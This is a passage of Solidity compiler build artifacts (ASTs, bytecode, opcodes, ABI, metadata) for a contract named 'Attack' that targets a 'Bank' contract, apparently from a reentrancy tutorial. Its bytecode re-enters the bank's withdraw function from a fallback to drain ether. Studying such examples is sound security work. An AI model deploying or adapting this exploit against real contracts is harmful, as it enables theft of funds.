"name": "identity",
"nodeType": "YulIdentifier",
"src": "392:8:1"
},
"nodeType": "YulFunctionCall",
"src": "392:60:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "374:17:1"
},
"nodeType": "YulFunctionCall",
"src": "374:79:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "361:9:1"
}
]
}
]
},
"name": "convert_t_rational_1000000000000000000_by_1_to_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "331:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "341:9:1",
"type": ""
}
],
"src": "265:194:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "556:92:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "573:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "635:5:1"
}
],
"functionName": {
"name": "convert_t_rational_1000000000000000000_by_1_to_t_uint256",
"nodeType": "YulIdentifier",
"src": "578:56:1"
},
"nodeType": "YulFunctionCall",
"src": "578:63:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "566:6:1"
},
"nodeType": "YulFunctionCall",
"src": "566:76:1"
},
"nodeType": "YulExpressionStatement",
"src": "566:76:1"
}
]
},
"name": "abi_encode_t_rational_1000000000000000000_by_1_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "544:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "551:3:1",
"type": ""
}
],
"src": "465:183:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "778:150:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "788:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "800:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "811:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "796:3:1"
},
"nodeType": "YulFunctionCall",
"src": "796:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "788:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "894:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "907:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "918:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "903:3:1"
},
"nodeType": "YulFunctionCall",
"src": "903:17:1"
}
],
"functionName": {
"name": "abi_encode_t_rational_1000000000000000000_by_1_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "824:69:1"
},
"nodeType": "YulFunctionCall",
"src": "824:97:1"
},
"nodeType": "YulExpressionStatement",
"src": "824:97:1"
}
]
},
"name": "abi_encode_tuple_t_rational_1000000000000000000_by_1__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "750:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "762:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "773:4:1",
"type": ""
}
],
"src": "654:274:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "999:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1016:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1039:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1021:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1021:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1009:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1009:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "1009:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "987:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "994:3:1",
"type": ""
}
],
"src": "934:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1156:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1166:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1178:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1189:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1174:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1174:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1166:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1246:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1259:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1270:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1255:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1255:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "1202:43:1"
},
"nodeType": "YulFunctionCall",
"src": "1202:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "1202:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1128:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1140:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1151:4:1",
"type": ""
}
],
"src": "1058:222:1"
}
]
},
"contents": "{\n\n function cleanup_t_rational_1000000000000000000_by_1(value) -> cleaned {\n cleaned := value\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function identity(value) -> ret {\n ret := value\n }\n\n function convert_t_rational_1000000000000000000_by_1_to_t_uint256(value) -> converted {\n converted := cleanup_t_uint256(identity(cleanup_t_rational_1000000000000000000_by_1(value)))\n }\n\n function abi_encode_t_rational_1000000000000000000_by_1_to_t_uint256_fromStack(value, pos) {\n mstore(pos, convert_t_rational_1000000000000000000_by_1_to_t_uint256(value))\n }\n\n function abi_encode_tuple_t_rational_1000000000000000000_by_1__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_rational_1000000000000000000_by_1_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "60806040526004361061002d5760003560e01c806312065fe01461010a5780639e5faafc146101355761002e565b5b670de0b6b3a764000060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631106101085760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b81526004016100d591906102b4565b600060405180830381600087803b1580156100ef57600080fd5b505af1158015610103573d6000803e3d6000fd5b505050505b005b34801561011657600080fd5b5061011f61013f565b60405161012c91906102de565b60405180910390f35b61013d610147565b005b600047905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0670de0b6b3a76400006040518263ffffffff1660e01b81526004016000604051808303818588803b1580156101b757600080fd5b505af11580156101cb573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b815260040161023191906102b4565b600060405180830381600087803b15801561024b57600080fd5b505af115801561025f573d6000803e3d6000fd5b50505050565b6000819050919050565b6000819050919050565b6000819050919050565b600061029e61029961029484610265565b610279565b61026f565b9050919050565b6102ae81610283565b82525050565b60006020820190506102c960008301846102a5565b92915050565b6102d88161026f565b82525050565b60006020820190506102f360008301846102cf565b9291505056fea2646970667358221220dab5cb1b81073deb9b72ea3ca9aeaf2dc7b2218d15991d717a6366170adc1b6664736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2D JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x12065FE0 EQ PUSH2 0x10A JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x135 JUMPI PUSH2 0x2E JUMP JUMPDEST JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE LT PUSH2 0x108 JUMPI PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xD5 SWAP2 SWAP1 PUSH2 0x2B4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xEF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x103 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x116 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x11F PUSH2 0x13F JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x12C SWAP2 SWAP1 PUSH2 0x2DE JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x13D PUSH2 0x147 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SELFBALANCE SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD0E30DB0 PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x1B7 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1CB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x231 SWAP2 SWAP1 PUSH2 0x2B4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x24B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x25F JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x29E PUSH2 0x299 PUSH2 0x294 DUP5 PUSH2 0x265 JUMP JUMPDEST PUSH2 0x279 JUMP JUMPDEST PUSH2 0x26F JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2AE DUP2 PUSH2 0x283 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2C9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2A5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2D8 DUP2 PUSH2 0x26F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2F3 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2CF JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xDA 0xB5 0xCB SHL DUP2 SMOD RETURNDATASIZE 0xEB SWAP12 PUSH19 0xEA3CA9AEAF2DC7B2218D15991D717A6366170A 0xDC SHL PUSH7 0x64736F6C634300 ADDMOD 0xC STOP CALLER ",
"sourceMap": "998:452:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;1168:7;1151:4;;;;;;;;;;1143:21;;;:32;1139:85;;1191:4;;;;;;;;;;:13;;;1205:7;1191:22;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1139:85;998:452;1354:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1236:112;;;:::i;:::-;;1354:94;1397:4;1420:21;1413:28;;1354:94;:::o;1236:112::-;1279:4;;;;;;;;;;:12;;;1299:7;1279:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1319:4;;;;;;;;;;:13;;;1333:7;1319:22;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1236:112::o;7:103:1:-;70:7;99:5;88:16;;7:103;;;:::o;116:77::-;153:7;182:5;171:16;;116:77;;;:::o;199:60::-;227:3;248:5;241:12;;199:60;;;:::o;265:194::-;341:9;374:79;392:60;401:50;445:5;401:50;:::i;:::-;392:60;:::i;:::-;374:79;:::i;:::-;361:92;;265:194;;;:::o;465:183::-;578:63;635:5;578:63;:::i;:::-;573:3;566:76;465:183;;:::o;654:274::-;773:4;811:2;800:9;796:18;788:26;;824:97;918:1;907:9;903:17;894:6;824:97;:::i;:::-;654:274;;;;:::o;934:118::-;1021:24;1039:5;1021:24;:::i;:::-;1016:3;1009:37;934:118;;:::o;1058:222::-;1151:4;1189:2;1178:9;1174:18;1166:26;;1202:71;1270:1;1259:9;1255:17;1246:6;1202:71;:::i;:::-;1058:222;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "163000",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"": "infinite",
"attack()": "infinite",
"getBalance()": "317"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc",
"getBalance()": "12065fe0"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract Bank",
"name": "_bank",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract Bank",
"name": "_bank",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Bank.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Bank.sol": {
"keccak256": "0xca6c3e30fdf391d2eb8f6310769a0954ad2bb0e230701c7bf99a2437ee5370fa",
"license": "MIT",
"urls": [
"bzz-raw://4a457b5ddbed5228b66ba1de93649322c5f0d1fa46bc093a276a8401636be8f1",
"dweb:/ipfs/QmXR2poWzXwQrqCuvz6HkA93fNy75XxJHPXfL9xWzgtgEK"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_21": {
"entryPoint": null,
"id": 21,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_contract$_Logger_$116_fromMemory": {
"entryPoint": 217,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_contract$_Logger_$116_fromMemory": {
"entryPoint": 238,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 158,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_contract$_Logger_$116": {
"entryPoint": 176,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 126,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 121,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_contract$_Logger_$116": {
"entryPoint": 194,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1399:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "627:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "637:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "666:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "648:17:1"
},
"nodeType": "YulFunctionCall",
"src": "648:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "637:7:1"
}
]
}
]
},
"name": "cleanup_t_contract$_Logger_$116",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "609:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "619:7:1",
"type": ""
}
],
"src": "568:110:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "741:93:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "812:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "821:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "824:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "814:6:1"
},
"nodeType": "YulFunctionCall",
"src": "814:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "814:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "764:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "803:5:1"
}
],
"functionName": {
"name": "cleanup_t_contract$_Logger_$116",
"nodeType": "YulIdentifier",
"src": "771:31:1"
},
"nodeType": "YulFunctionCall",
"src": "771:38:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "761:2:1"
},
"nodeType": "YulFunctionCall",
"src": "761:49:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "754:6:1"
},
"nodeType": "YulFunctionCall",
"src": "754:57:1"
},
"nodeType": "YulIf",
"src": "751:77:1"
}
]
},
"name": "validator_revert_t_contract$_Logger_$116",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "734:5:1",
"type": ""
}
],
"src": "684:150:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "917:94:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "927:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "942:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "936:5:1"
},
"nodeType": "YulFunctionCall",
"src": "936:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "927:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "999:5:1"
}
],
"functionName": {
"name": "validator_revert_t_contract$_Logger_$116",
"nodeType": "YulIdentifier",
"src": "958:40:1"
},
"nodeType": "YulFunctionCall",
"src": "958:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "958:47:1"
}
]
},
"name": "abi_decode_t_contract$_Logger_$116_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "895:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "903:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "911:5:1",
"type": ""
}
],
"src": "840:171:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1108:288:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1154:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1156:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1156:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1156:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1129:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1138:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1125:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1125:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1150:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1121:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1121:32:1"
},
"nodeType": "YulIf",
